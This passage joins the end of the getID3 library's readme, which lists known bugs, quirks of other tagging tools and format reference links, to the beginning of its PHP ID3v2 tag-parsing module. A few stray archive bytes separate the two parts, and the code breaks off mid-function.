* proper checking for ASPI-TLEN frame validity in ID3v2 writing
* proper checking for COMR frame validity in ID3v2 writing
* http://www.geocities.co.jp/SiliconValley-Oakland/3664/index.html
* decode GEOB ID3v2 structure as encoded by RealJukebox,
  decode NCON ID3v2 structure as encoded by MusicMatch
  (probably won't happen - the formats are proprietary)



Known Bugs/Issues in getID3() that may be fixed eventually
===========================================================================
https://www.getid3.org/phpBB3/viewtopic.php?t=25

* Cannot determine bitrate for MPEG video with VBR video data
  (need documentation)
* Interlace/progressive cannot be determined for MPEG video
  (need documentation)
* MIDI playtime is sometimes inaccurate
* AAC-RAW mode files cannot be identified
* WavPack-RAW mode files cannot be identified
* mp4 files report lots of "Unknown QuickTime atom type"
   (need documentation)
* Encrypted ASF/WMA/WMV files warn about "unhandled GUID
  ASF_Content_Encryption_Object"
* Bitrate split between audio and video cannot be calculated for
  NSV, only the total bitrate. (need documentation)
* All Ogg formats (Vorbis, OggFLAC, Speex) are affected by the
  problem of large VorbisComments spanning multiple Ogg pages, but
  but only OggVorbis files can be processed with vorbiscomment.
* The version of "head" supplied with Mac OS 10.2.8 (maybe other
  versions too) does only understands a single option (-n) and
  therefore fails. getID3 ignores this and returns wrong md5_data.



Known Bugs/Issues in getID3() that cannot be fixed
--------------------------------------------------
https://www.getid3.org/phpBB3/viewtopic.php?t=25

* 32-bit PHP installations only:
  Files larger than 2GB cannot always be parsed fully by getID3()
  due to limitations in the 32-bit PHP filesystem functions.
  NOTE: Since v1.7.8b3 there is partial support for larger-than-
  2GB files, most of which will parse OK, as long as no critical
  data is located beyond the 2GB offset.
  Known will-work:
  * all file formats on 64-bit PHP
  * ZIP  (format doesn't support files >2GB)
  * FLAC (current encoders don't support files >2GB)
  Known will-not-work:
  * ID3v1 tags (always located at end-of-file)
  * Lyrics3 tags (always located at end-of-file)
  * APE tags (always located at end-of-file)
  Maybe-will-work:
  * Quicktime (will work if needed metadata is before 2GB offset,
    that is if the file has been hinted/optimized for streaming)
  * RIFF.WAV (should work fine, but gives warnings about not being
    able to parse all chunks)
  * RIFF.AVI (playtime will probably be wrong, is only based on
    "movi" chunk that fits in the first 2GB, should issue error
    to show that playtime is incorrect. Other data should be mostly
    correct, assuming that data is constant throughout the file)
* PHP <= v5 on Windows cannot read UTF-8 filenames


Known Bugs/Issues in other programs
-----------------------------------
https://www.getid3.org/phpBB3/viewtopic.php?t=25

* MusicBrainz Picard (at least up to v1.3.2) writes multiple
  ID3v2.3 genres in non-standard forward-slash separated text
  rather than parenthesis-numeric+refinement style per the ID3v2.3
  specs. Tags written in ID3v2.4 mode are written correctly.
  (detected and worked around by getID3())
* PZ TagEditor v4.53.408 has been known to insert ID3v2.3 frames
  into an existing ID3v2.2 tag which, of course, breaks things
* Windows Media Player (up to v11) and iTunes (up to v10+) do
    not correctly handle ID3v2.3 tags with UTF-16BE+BOM
    encoding (they assume the data is UTF-16LE+BOM and either
    crash (WMP) or output Asian character set (iTunes)
* Winamp (up to v2.80 at least) does not support ID3v2.4 tags,
    only ID3v2.3
    see: http://forums.winamp.com/showthread.php?postid=387524
* Some versions of Helium2 (www.helium2.com) do not write
    ID3v2.4-compliant Frame Sizes, even though the tag is marked
    as ID3v2.4)  (detected by getID3())
* MP3ext V3.3.17 places a non-compliant padding string at the end
    of the ID3v2 header. This is supposedly fixed in v3.4b21 but
    only if you manually add a registry key. This fix is not yet
    confirmed.  (detected by getID3())
* CDex v1.40 (fixed by v1.50b7) writes non-compliant Ogg comment
    strings, supposed to be in the format "NAME=value" but actually
    written just "value"  (detected by getID3())
* Oggenc 0.9-rc3 flags the encoded file as ABR whether it's
    actually ABR or VBR.
* iTunes (versions "v7.0.0.70" is known-guilty, probably
    other versions are too) writes ID3v2.3 comment tags using an
    ID3v2.2 frame name (3-bytes) null-padded to 4 bytes which is
    not valid for ID3v2.3+
    (detected by getID3() since 1.9.12-201603221746)
* iTunes (versions "X v2.0.3", "v3.0.1" are known-guilty, probably
    other versions are too) writes ID3v2.3 comment tags using a
    frame name 'COM ' which is not valid for ID3v2.3+ (it's an
    ID3v2.2-style frame name)  (detected by getID3())
* MP2enc does not encode mono CBR MP2 files properly (half speed
    sound and double playtime)
* MP2enc does not encode mono VBR MP2 files properly (actually
    encoded as stereo)
* tooLAME does not encode mono VBR MP2 files properly (actually
    encoded as stereo)
* AACenc encodes files in VBR mode (actually ABR) even if CBR is
   specified
* AAC/ADIF - bitrate_mode = cbr for vbr files
* LAME 3.90-3.92 prepends one frame of null data (space for the
  LAME/VBR header, but it never gets written) when encoding in CBR
  mode with the DLL
* Ahead Nero encodes TwinVQF with a DSIZ value (which is supposed
  to be the filesize in bytes) of "0" for TwinVQF v1.0 and "1" for
  TwinVQF v2.0  (detected by getID3())
* Ahead Nero encodes TwinVQF files 1 second shorter than they
  should be
* AAC-ADTS files are always actually encoded VBR, even if CBR mode
  is specified (the CBR-mode switches on the encoder enable ABR
  mode, not CBR as such, but it's not possible to tell the
  difference between such ABR files and true VBR)
* STREAMINFO.audio_signature in OggFLAC is always null. "The reason
  it's like that is because there is no seeking support in
  libOggFLAC yet, so it has no way to go back and write the
  computed sum after encoding. Seeking support in Ogg FLAC is the
  #1 item for the next release." - Josh Coalson (FLAC developer)
  NOTE: getID3() will calculate md5_data in a method similar to
  other file formats, but that value cannot be compared to the
  md5_data value from FLAC data in a FLAC file format.
* STREAMINFO.audio_signature is not calculated in FLAC v0.3.0 &
  v0.4.0 - getID3() will calculate md5_data in a method similar to
  other file formats, but that value cannot be compared to the
  md5_data value from FLAC v0.5.0+
* RioPort (various versions including 2.0 and 3.11) tags ID3v2 with
  a WCOM frame that has no data portion
* Earlier versions of Coolplayer adds illegal ID3 tags to Ogg Vorbis
  files, thus making them corrupt.
* Meracl ID3 Tag Writer v1.3.4 (and older) incorrectly truncates the
  last byte of data from an MP3 file when appending a new ID3v1 tag.
  (detected by getID3())
* Lossless-Audio files encoded with and without the -noseek switch
  do actually differ internally and therefore cannot match md5_data
* iTunes has been known to append a new ID3v1 tag on the end of an
  existing ID3v1 tag when ID3v2 tag is also present
  (detected by getID3())
* MediaMonkey may write a blank RGAD ID3v2 frame but put actual
  replay gain adjustments in a series of user-defined TXXX frames
  (detected and handled by getID3() since v1.9.2)




Reference material:
===========================================================================

[www.id3.org material now mirrored at http://id3lib.sourceforge.net/id3/]
* http://www.id3.org/id3v2.4.0-structure.txt
* http://www.id3.org/id3v2.4.0-frames.txt
* http://www.id3.org/id3v2.4.0-changes.txt
* http://www.id3.org/id3v2.3.0.txt
* http://www.id3.org/id3v2-00.txt
* http://www.id3.org/mp3frame.html
* http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html <mathewhendry@hotmail.com>
* http://www.dv.co.yu/mpgscript/mpeghdr.htm
* http://www.mp3-tech.org/programmer/frame_header.html
* http://users.belgacom.net/gc247244/extra/tag.html
* http://gabriel.mp3-tech.org/mp3infotag.html
* http://www.id3.org/iso4217.html
* http://www.unicode.org/Public/MAPPINGS/ISO8859/8859-1.TXT
* http://www.xiph.org/ogg/vorbis/doc/framing.html
* http://www.xiph.org/ogg/vorbis/doc/v-comment.html
* http://leknor.com/code/php/class.ogg.php.txt
* http://www.id3.org/iso639-2.html
* http://www.id3.org/lyrics3.html
* http://www.id3.org/lyrics3200.html
* http://www.psc.edu/general/software/packages/ieee/ieee.html
* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html
* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
* http://www.jmcgowan.com/avi.html
* http://www.wotsit.org/
* http://www.herdsoft.com/ti/davincie/davp3xo2.htm
* http://www.mathdogs.com/vorbis-illuminated/bitstream-appendix.html
* "Standard MIDI File Format" by Dustin Caldwell (from www.wotsit.org)
* http://midistudio.com/Help/GMSpecs_Patches.htm
* http://www.xiph.org/archives/vorbis/200109/0459.html
* http://www.replaygain.org/
* http://www.lossless-audio.com/
* http://download.microsoft.com/download/winmediatech40/Doc/1.0/WIN98MeXP/EN-US/ASF_Specification_v.1.0.exe
* http://mediaxw.sourceforge.net/files/doc/Active%20Streaming%20Format%20(ASF)%201.0%20Specification.pdf
* http://www.uni-jena.de/~pfk/mpp/sv8/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/sv8/)
* http://jfaul.de/atl/
* http://www.uni-jena.de/~pfk/mpp/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/)
* http://www.libpng.org/pub/png/spec/png-1.2-pdg.html
* http://www.real.com/devzone/library/creating/rmsdk/doc/rmff.htm
* http://www.fastgraph.com/help/bmp_os2_header_format.html
* http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm
* http://flac.sourceforge.net/format.html
* http://www.research.att.com/projects/mpegaudio/mpeg2.html
* http://www.audiocoding.com/wiki/index.php?page=AAC
* http://libmpeg.org/mpeg4/doc/w2203tfs.pdf
* http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt
* http://developer.apple.com/techpubs/quicktime/qtdevdocs/RM/frameset.htm
* http://www.nullsoft.com/nsv/
* http://www.wotsit.org/download.asp?f=iso9660
* http://sandbox.mc.edu/~bennet/cs110/tc/tctod.html
* http://www.cdroller.com/htm/readdata.html
* http://www.speex.org/manual/node10.html
* http://www.harmony-central.com/Computer/Programming/aiff-file-format.doc
* http://www.faqs.org/rfcs/rfc2361.html
* http://ghido.shelter.ro/
* http://www.ebu.ch/tech_t3285.pdf
* http://www.sr.se/utveckling/tu/bwf
* http://ftp.aessc.org/pub/aes46-2002.pdf
* http://cartchunk.org:8080/
* http://www.broadcastpapers.com/radio/cartchunk01.htm
* http://www.hr/josip/DSP/AudioFile2.html
* http://home.attbi.com/~chris.bagwell/AudioFormats-11.html
* http://www.pure-mac.com/extkey.html
* http://cesnet.dl.sourceforge.net/sourceforge/bonkenc/bonk-binary-format-0.9.txt
* http://www.headbands.com/gspot/
* http://www.openswf.org/spec/SWFfileformat.html
* http://j-faul.virtualave.net/
* http://www.btinternet.com/~AnthonyJ/Atari/programming/avr_format.html
* http://cui.unige.ch/OSG/info/AudioFormats/ap11.html
* http://sswf.sourceforge.net/SWFalexref.html
* http://www.geocities.com/xhelmboyx/quicktime/formats/qti-layout.txt
* http://www-lehre.informatik.uni-osnabrueck.de/~fbstark/diplom/docs/swf/Flash_Uncovered.htm
* http://developer.apple.com/quicktime/icefloe/dispatch012.html
* http://www.csdn.net/Dev/Format/graphics/PCD.htm
* http://tta.iszf.irk.ru/
* http://www.atsc.org/standards/a_52a.pdf
* http://www.alanwood.net/unicode/
* http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html
* http://www.its.msstate.edu/net/real/reports/config/tags.stats
* http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt
* http://brennan.young.net/Comp/LiveStage/things.html
* http://www.multiweb.cz/twoinches/MP3inside.htm
* http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended
* http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/
* http://www.unicode.org/unicode/faq/utf_bom.html
* http://tta.corecodec.org/?menu=format
* http://www.scvi.net/nsvformat.htm
* http://pda.etsi.org/pda/queryform.asp
* http://cpansearch.perl.org/src/RGIBSON/Audio-DSS-0.02/lib/Audio/DSS.pm
* http://trac.musepack.net/trac/wiki/SV8Specification
* http://wyday.com/cuesharp/specification.php
* http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
* http://www.codeproject.com/Articles/8295/MPEG-Audio-Frame-Header
* http://dsd-guide.com/sites/default/files/white-papers/DSFFileFormatSpec_E.pdf
* https://fileformats.fandom.com/wiki/Torrent_filePKEWd[�3��u\u\module.tag.id3v2.phpnu�[���<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
///                                                            //
// module.tag.id3v2.php                                        //
// module for analyzing ID3v2 tags                             //
// dependencies: module.tag.id3v1.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v1.php', __FILE__, true);

class getid3_id3v2 extends getid3_handler
{
	public $StartingOffset = 0;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		//    Overall tag structure:
		//        +-----------------------------+
		//        |      Header (10 bytes)      |
		//        +-----------------------------+
		//        |       Extended Header       |
		//        | (variable length, OPTIONAL) |
		//        +-----------------------------+
		//        |   Frames (variable length)  |
		//        +-----------------------------+
		//        |           Padding           |
		//        | (variable length, OPTIONAL) |
		//        +-----------------------------+
		//        | Footer (10 bytes, OPTIONAL) |
		//        +-----------------------------+

		//    Header
		//        ID3v2/file identifier      "ID3"
		//        ID3v2 version              $04 00
		//        ID3v2 flags                (%ab000000 in v2.2, %abc00000 in v2.3, %abcd0000 in v2.4.x)
		//        ID3v2 size             4 * %0xxxxxxx


		// shortcuts
		$info['id3v2']['header'] = true;
		$thisfile_id3v2                  = &$info['id3v2'];
		$thisfile_id3v2['flags']         =  array();
		$thisfile_id3v2_flags            = &$thisfile_id3v2['flags'];


		$this->fseek($this->StartingOffset);
		$header = $this->fread(10);
		if (substr($header, 0, 3) == 'ID3'  &&  strlen($header) == 10) {

			$thisfile_id3v2['majorversion'] = ord($header[3]);
			$thisfile_id3v2['minorversion'] = ord($header[4]);

			// shortcut
			$id3v2_majorversion = &$thisfile_id3v2['majorversion'];

		} else {

			unset($info['id3v2']);
			return false;

		}

		if ($id3v2_majorversion > 4) { // this script probably won't correctly parse ID3v2.5.x and above (if it ever exists)

			$this->error('this script only parses up to ID3v2.4.x - this tag is ID3v2.'.$id3v2_majorversion.'.'.$thisfile_id3v2['minorversion']);
			return false;

		}

		$id3_flags = ord($header[5]);
		switch ($id3v2_majorversion) {
			case 2:
				// %ab000000 in v2.2
				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
				$thisfile_id3v2_flags['compression'] = (bool) ($id3_flags & 0x40); // b - Compression
				break;

			case 3:
				// %abc00000 in v2.3
				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
				$thisfile_id3v2_flags['exthead']     = (bool) ($id3_flags & 0x40); // b - Extended header
				$thisfile_id3v2_flags['experim']     = (bool) ($id3_flags & 0x20); // c - Experimental indicator
				break;

			case 4:
				// %abcd0000 in v2.4
				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
				$thisfile_id3v2_flags['exthead']     = (bool) ($id3_flags & 0x40); // b - Extended header
				$thisfile_id3v2_flags['experim']     = (bool) ($id3_flags & 0x20); // c - Experimental indicator
				$thisfile_id3v2_flags['isfooter']    = (bool) ($id3_flags & 0x10); // d - Footer present
				break;
		}

		$thisfile_id3v2['headerlength'] = getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length

		$thisfile_id3v2['tag_offset_start'] = $this->StartingOffset;
		$thisfile_id3v2['tag_offset_end']   = $thisfile_id3v2['tag_offset_start'] + $thisfile_id3v2['headerlength'];



		// create 'encoding' key - used by getid3::HandleAllTags()
		// in ID3v2 every field can have it's own encoding type
		// so force everything to UTF-8 so it can be handled consistantly
		$thisfile_id3v2['encoding'] = 'UTF-8';


	//    Frames

	//        All ID3v2 frames consists of one frame header followed by one or more
	//        fields containing the actual information. The header is always 10
	//        bytes and laid out as follows:
	//
	//        Frame ID      $xx xx xx xx  (four characters)
	//        Size      4 * %0xxxxxxx
	//        Flags         $xx xx

		$sizeofframes = $thisfile_id3v2['headerlength'] - 10; // not including 10-byte initial header
		if (!empty($thisfile_id3v2['exthead']['length'])) {
			$sizeofframes -= ($thisfile_id3v2['exthead']['length'] + 4);
		}
		if (!empty($thisfile_id3v2_flags['isfooter'])) {
			$sizeofframes -= 10; // footer takes last 10 bytes of ID3v2 header, after frame data, before audio
		}
		if ($sizeofframes > 0) {

			$framedata = $this->fread($sizeofframes); // read all frames from file into $framedata variable

			//    if entire frame data is unsynched, de-unsynch it now (ID3v2.3.x)
			if (!empty($thisfile_id3v2_flags['unsynch']) && ($id3v2_majorversion <= 3)) {
				$framedata = $this->DeUnsynchronise($framedata);
			}
			//        [in ID3v2.4.0] Unsynchronisation [S:6.1] is done on frame level, instead
			//        of on tag level, making it easier to skip frames, increasing the streamability
			//        of the tag. The unsynchronisation flag in the header [S:3.1] indicates that
			//        there exists an unsynchronised frame, while the new unsynchronisation flag in
			//        the frame header [S:4.1.2] indicates unsynchronisation.


			//$framedataoffset = 10 + ($thisfile_id3v2['exthead']['length'] ? $thisfile_id3v2['exthead']['length'] + 4 : 0); // how many bytes into the stream - start from after the 10-byte header (and extended header length+4, if present)
			$framedataoffset = 10; // how many bytes into the stream - start from after the 10-byte header


			//    Extended Header
			if (!empty($thisfile_id3v2_flags['exthead'])) {
				$extended_header_offset = 0;

				if ($id3v2_majorversion == 3) {

					// v2.3 definition:
					//Extended header size  $xx xx xx xx   // 32-bit integer
					//Extended Flags        $xx xx
					//     %x0000000 %00000000 // v2.3
					//     x - CRC data present
					//Size of padding       $xx xx xx xx

					$thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), 0);
					$extended_header_offset += 4;

					$thisfile_id3v2['exthead']['flag_bytes'] = 2;
					$thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes']));
					$extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes'];

					$thisfile_id3v2['exthead']['flags']['crc'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x8000);

					$thisfile_id3v2['exthead']['padding_size'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4));
					$extended_header_offset += 4;

					if ($thisfile_id3v2['exthead']['flags']['crc']) {
						$thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4));
						$extended_header_offset += 4;
					}
					$extended_header_offset += $thisfile_id3v2['exthead']['padding_size'];

				} elseif ($id3v2_majorversion == 4) {

					// v2.4 definition:
					//Extended header size   4 * %0xxxxxxx // 28-bit synchsafe integer
					//Number of flag bytes       $01
					//Extended Flags             $xx
					//     %0bcd0000 // v2.4
					//     b - Tag is an update
					//         Flag data length       $00
					//     c - CRC data present
					//         Flag data length       $05
					//         Total frame CRC    5 * %0xxxxxxx
					//     d - Tag restrictions
					//         Flag data length       $01

					$thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), true);
					$extended_header_offset += 4;

					$thisfile_id3v2['exthead']['flag_bytes'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should always be 1
					$extended_header_offset += 1;

					$thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes']));
					$extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes'];

					$thisfile_id3v2['exthead']['flags']['update']       = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x40);
					$thisfile_id3v2['exthead']['flags']['crc']          = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x20);
					$thisfile_id3v2['exthead']['flags']['restrictions'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x10);

					if ($thisfile_id3v2['exthead']['flags']['update']) {
						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 0
						$extended_header_offset += 1;
					}

					if ($thisfile_id3v2['exthead']['flags']['crc']) {
						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 5
						$extended_header_offset += 1;
						$thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $ext_header_chunk_length), true, false);
						$extended_header_offset += $ext_header_chunk_length;
					}

					if ($thisfile_id3v2['exthead']['flags']['restrictions']) {
						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 1
						$extended_header_offset += 1;

						// %ppqrrstt
						$restrictions_raw = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1));
						$extended_header_offset += 1;
						$thisfile_id3v2['exthead']['flags']['restrictions']['tagsize']  = ($restrictions_raw & 0xC0) >> 6; // p - Tag size restrictions
						$thisfile_id3v2['exthead']['flags']['restrictions']['textenc']  = ($restrictions_raw & 0x20) >> 5; // q - Text encoding restrictions
						$thisfile_id3v2['exthead']['flags']['restrictions']['textsize'] = ($restrictions_raw & 0x18) >> 3; // r - Text fields size restrictions
						$thisfile_id3v2['exthead']['flags']['restrictions']['imgenc']   = ($restrictions_raw & 0x04) >> 2; // s - Image encoding restrictions
						$thisfile_id3v2['exthead']['flags']['restrictions']['imgsize']  = ($restrictions_raw & 0x03) >> 0; // t - Image size restrictions

						$thisfile_id3v2['exthead']['flags']['restrictions_text']['tagsize']  = $this->LookupExtendedHeaderRestrictionsTagSizeLimits($thisfile_id3v2['exthead']['flags']['restrictions']['tagsize']);
						$thisfile_id3v2['exthead']['flags']['restrictions_text']['textenc']  = $this->LookupExtendedHeaderRestrictionsTextEncodings($thisfile_id3v2['exthead']['flags']['restrictions']['textenc']);
						$thisfile_id3v2['exthead']['flags']['restrictions_text']['textsize'] = $this->LookupExtendedHeaderRestrictionsTextFieldSize($thisfile_id3v2['exthead']['flags']['restrictions']['textsize']);
						$thisfile_id3v2['exthead']['flags']['restrictions_text']['imgenc']   = $this->LookupExtendedHeaderRestrictionsImageEncoding($thisfile_id3v2['exthead']['flags']['restrictions']['imgenc']);
						$thisfile_id3v2['exthead']['flags']['restrictions_text']['imgsize']  = $this->LookupExtendedHeaderRestrictionsImageSizeSize($thisfile_id3v2['exthead']['flags']['restrictions']['imgsize']);
					}

					if ($thisfile_id3v2['exthead']['length'] != $extended_header_offset) {
						$this->warning('ID3v2.4 extended header length mismatch (expecting '.intval($thisfile_id3v2['exthead']['length']).', found '.intval($extended_header_offset).')');
					}
				}

				$framedataoffset += $extended_header_offset;
				$framedata = substr($framedata, $extended_header_offset);
			} // end extended header


			while (isset($framedata) && (strlen($framedata) > 0)) { // cycle through until no more frame data is left to parse
				if (strlen($framedata) <= $this->ID3v2HeaderLength($id3v2_majorversion)) {
					// insufficient room left in ID3v2 header for actual data - must be padding
					$thisfile_id3v2['padding']['start']  = $framedataoffset;
					$thisfile_id3v2['padding']['length'] = strlen($framedata);
					$thisfile_id3v2['padding']['valid']  = true;
					for ($i = 0; $i < $thisfile_id3v2['padding']['length']; $i++) {
						if ($framedata[$i] != "\x00") {
							$thisfile_id3v2['padding']['valid'] = false;
							$thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i;
							$this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)');
							break;
						}
					}
					break; // skip rest of ID3v2 header
				}
				$frame_header = null;
				$frame_name   = null;
				$frame_size   = null;
				$frame_flags  = null;
				if ($id3v2_majorversion == 2) {
					// Frame ID  $xx xx xx (three characters)
					// Size      $xx xx xx (24-bit integer)
					// Flags     $xx xx

					$frame_header = substr($framedata, 0, 6); // take next 6 bytes for header
					$framedata    = substr($framedata, 6);    // and leave the rest in $framedata
					$frame_name   = substr($frame_header, 0, 3);
					$frame_size   = getid3_lib::BigEndian2Int(substr($frame_header, 3, 3), 0);
					$frame_flags  = 0; // not used for anything in ID3v2.2, just set to avoid E_NOTICEs

				} elseif ($id3v2_majorversion > 2) {

					// Frame ID  $xx xx xx xx (four characters)
					// Size      $xx xx xx xx (32-bit integer in v2.3, 28-bit synchsafe in v2.4+)
					// Flags     $xx xx

					$frame_header = substr($framedata, 0, 10); // take next 10 bytes for header
					$framedata    = substr($framedata, 10);    // and leave the rest in $framedata

					$frame_name = substr($frame_header, 0, 4);
					if ($id3v2_majorversion == 3) {
						$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer
					} else { // ID3v2.4+
						$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 1); // 32-bit synchsafe integer (28-bit value)
					}

					if ($frame_size < (strlen($framedata) + 4)) {
						$nextFrameID = substr($framedata, $frame_size, 4);
						if ($this->IsValidID3v2FrameName($nextFrameID, $id3v2_majorversion)) {
							// next frame is OK
						} elseif (($frame_name == "\x00".'MP3') || ($frame_name == "\x00\x00".'MP') || ($frame_name == ' MP3') || ($frame_name == 'MP3e')) {
							// MP3ext known broken frames - "ok" for the purposes of this test
						} elseif (($id3v2_majorversion == 4) && ($this->IsValidID3v2FrameName(substr($framedata, getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0), 4), 3))) {
							$this->warning('ID3v2 tag written as ID3v2.4, but with non-synchsafe integers (ID3v2.3 style). Older versions of (Helium2; iTunes) are known culprits of this. Tag has been parsed as ID3v2.3');
							$id3v2_majorversion = 3;
							$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer
						}
					}


					$frame_flags = getid3_lib::BigEndian2Int(substr($frame_header, 8, 2));
				}

				if ((($id3v2_majorversion == 2) && ($frame_name == "\x00\x00\x00")) || ($frame_name == "\x00\x00\x00\x00")) {
					// padding encountered

					$thisfile_id3v2['padding']['start']  = $framedataoffset;
					$thisfile_id3v2['padding']['length'] = strlen($frame_header) + strlen($framedata);
					$thisfile_id3v2['padding']['valid']  = true;

					$len = strlen($framedata);
					for ($i = 0; $i < $len; $i++) {
						if ($framedata[$i] != "\x00") {
							$thisfile_id3v2['padding']['valid'] = false;
							$thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i;
							$this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)');
							break;
						}
					}
					break; // skip rest of ID3v2 header
				}

				if ($iTunesBrokenFrameNameFixed = self::ID3v22iTunesBrokenFrameName($frame_name)) {
					$this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by iTunes (versions "X v2.0.3", "v3.0.1", "v7.0.0.70" are known-guilty, probably others too)]. Translated frame name from "'.str_replace("\x00", ' ', $frame_name).'" to "'.$iTunesBrokenFrameNameFixed.'" for parsing.');
					$frame_name = $iTunesBrokenFrameNameFixed;
				}
				if (($frame_size <= strlen($framedata)) && ($this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion))) {

					$parsedFrame                    = array();
					$parsedFrame['frame_name']      = $frame_name;
					$parsedFrame['frame_flags_raw'] = $frame_flags;
					$parsedFrame['data']            = substr($framedata, 0, $frame_size);
					$parsedFrame['datalength']      = getid3_lib::CastAsInt($frame_size);
					$parsedFrame['dataoffset']      = $framedataoffset;

					$this->ParseID3v2Frame($parsedFrame);
					$thisfile_id3v2[$frame_name][] = $parsedFrame;

					$framedata = substr($framedata, $frame_size);

				} else { // invalid frame length or FrameID

					if ($frame_size <= strlen($framedata)) {

						if ($this->IsValidID3v2FrameName(substr($framedata, $frame_size, 4), $id3v2_majorversion)) {

							// next frame is valid, just skip the current frame
							$framedata = substr($framedata, $frame_size);
							$this->warning('Next ID3v2 frame is valid, skipping current frame.');

						} else {

							// next frame is invalid too, abort processing
							//unset($framedata);
							$framedata = null;
							$this->error('Next ID3v2 frame is also invalid, aborting processing.');

						}

					} elseif ($frame_size == strlen($framedata)) {

						// this is the last frame, just skip
						$this->warning('This was the last ID3v2 frame.');

					} else {

						// next frame is invalid too, abort processing
						//unset($framedata);
						$framedata = null;
						$this->warning('Invalid ID3v2 frame size, aborting.');

					}
					if (!$this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion)) {

						switch ($frame_name) {
							case "\x00\x00".'MP':
							case "\x00".'MP3':
							case ' MP3':
							case 'MP3e':
							case "\x00".'MP':
							case ' MP':
							case 'MP3':
								$this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by "MP3ext (www.mutschler.de/mp3ext/)"]');
								break;

							default:
								$this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))).');
								break;
						}

					} elseif (!isset($framedata) || ($frame_size > strlen($framedata))) {

						$this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: $frame_size ('.$frame_size.') > strlen($framedata) ('.(isset($framedata) ? strlen($framedata) : 'null').')).');

					} else {

